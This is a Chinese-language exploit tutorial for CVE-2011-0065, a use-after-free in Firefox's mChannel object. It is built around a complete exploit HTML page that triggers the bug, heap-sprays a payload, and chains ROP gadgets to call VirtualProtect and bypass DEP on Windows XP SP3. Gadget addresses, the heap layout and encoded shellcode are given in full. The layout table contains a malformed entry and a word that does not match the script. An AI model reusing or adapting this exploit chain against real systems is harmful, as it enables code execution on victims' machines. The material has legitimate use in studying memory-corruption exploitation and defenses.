CVE-2011-0065 Firefox mChannel UAF漏洞

为了实现任意代码执行，需要在mChannel对象释放后，用可控数据“占坑”填充它，因此，可在onChannelRedirect函数调用完成后，紧跟着申请一块大小相同的内存：

e = document.getElementById("d");

e.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object,0)

fake_obj_addr = unescape("\x1C%u0c0c")

执行后，虚表指针就会被0x0c0c001c填充，从而控制程序的执行流程，如下图

Rop实战之利用VirtualProtect绕过DEP

接下来，只需利用Heap Spray技术将shellcode喷射到0x0c0c0034的位置即可实现任意代码执行：

#######exp.html

<html>

<body>

<object id="d"><object>

<script type="text/javascript">



e = document.getElementById("d");

e.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object,0)

fake_obj_addr = unescape("\x1C%u0c0c")



var shellcode =

unescape("%u4141%u4141%u0038%u0c0c%uc012%u0038%u0c0c%u4141%uA2EC%u7D66%u003c%u0c0c%u476c%u7C47%u4141%u4141%u0090%u0c0c%u4141%u4141%u4141%u4141%u323b%u1042%u1ad4%u7c80%u0084%u0c0c%u0090%u0c0c%u0400%u0000%u1A61%u7C80%u0090%u0c0c%uffff%uffff%u0000%u0c00%u0000%u0010%u0040%u0000%u0024%u0c0c%u0090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%udb33%u6853%u6c72%u2020%u6e68%u6761%u6869%u6d20%u6f6f%u6968%u6120%u8b6d%u53c4%u5050%ub853%u085c%u77d5%ud0ff%ub853%ucafa%u7c81%ud0ff%u9090%u9090")



var ret_addr = unescape("%u0024%u0c0c")

while(ret_addr.length+20+8 < 0x100000-18-12-12-12) {ret_addr += ret_addr}

var b = ret_addr.substring(0,(0x48-0x24)/2)

b += shellcode

b += ret_addr

var next = b.substring(0,0x10000/2)

while(next.length<0x800000) {next += next}

var again = next.substring(0,0x80000 - (0x1020-0x08)/2)

array = new Array()

for (n=0;n<0x1f0;n++){

  array[n] = again + shellcode

}



e.data = ""



</script>

</body>

</html>

1 VirtualProtect函数

由于Windows xp sp3开启了DEP保护，所以我们要绕过DEP保护才能执行shellcode,本文采用ROP方式调用VirtualProtect方法绕过DEP

首先我们来看看 MSDN 上对 VirtualProtect 函数的说明。

BOOL VirtualProtect (
LPVOID lpAddress,
DWORD dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);

各参数的意义为：
lpAddress，要改变属性的内存起始地址。
dwSize，要改变属性的内存区域大小。
flNewProtect，内存新的属性类型，设置为 PAGE_EXECUTE_READWRITE（ 0x40）时该内存页为可读可写可执行。
pflOldProtect，内存原始属性类型保存地址。
修改内存属性成功时函数返回非 0，修改失败时返回 0。
如果我们能够按照如下参数布置好栈帧的话就可以将 shellcode 所在内存区域设置为可执行模式

BOOL VirtualProtect(
shellcode 所在内存空间起始地址,
shellcode 大小,
0x40,
某个可写地址
);

其实通过汇编代码我们会发现其实VirtualProtect有五个参数，

Rop实战之利用VirtualProtect绕过DEP

-1（0xffffffff）参数代表进程句柄，构造参数时设为0xffffffff即可

2 ROP序列

ROP中要用到的三个关键程序片段

片段一*************************************************************************

7D66A2EC    8B49 0C         mov ecx,dword ptr ds:[ecx+0xC] 

7D66A2EF    8B01            mov eax,dword ptr ds:[ecx]     

7D66A2F1    52               push edx

7D66A2F2    51               push ecx

7D66A2F3    FF50 14          call dword ptr ds:[eax+0x14]   

片段二*************************************************************************

1042323b                     push eax

                             pop esp

                             retn 0c  

片段三*************************************************************************

7C47476C   83C4 18          ADD ESP,18  

7C47476F   C3               RETN

三个片段地址寻找是通过immunity inc 的mona插件和 ollydbg的ollyFindAddr插件寻找的

3.3 Shellcode布局

Shellcode布局：

堆地址	值	备注
0c0c0024	%u4141%u4141	填充
0c0c0028	%u0038%u0c0c	堆地址
0c0c002c	%u4141%u4141	填充
0c0c0030	%u4141%u4141	填充
0c0c0034	%uA2EC%u7D66	片段一地址
0c0c0038	%u003c%u0c0c	堆地址
0c0c003c	%u476c%u7C47	片段三地址
0c0c0040 - 0c0c004c	%u4141%u4141	填充
0c0c0050	%u323b%u1042	片段二地址
0c0c0054 - 0c0c0060	%u4141%u4141	填充
0c0c0064	%u1A61%u7C80	VirtualProtectEx函数首地址
0c0c0068	%0090d%u0c0c	弹窗代码首地址（堆地址）
0c0c006c	%uffff%uffff	VirtualProtectEx参数一（-1）
0c0c0070	%u0000%u0c00	shellcode 所在内存空间起始地址
0c0c0074	%u0000%u0010	shellcode 大小（堆块大小）
0c0c0078	%u0040%u0000	0x40
0c0c007c	%u0024%u0c0c	可写地址（堆地址）
0c0c0080 – 0c0c008c	%u0090%u9090	Nop指令
0c0c0090	%udb33%u6853 %u6c72%u2020 %u6e68%u6761 %u6869%u6d20 %u6f6f%u6968 %u6120%u8b6d %u53c4%u5050 %ub853%u085c %u77d5%ud0ff %u77d5%ud0ff %ub853%ucafa %u7c81%ud0ff	弹窗代码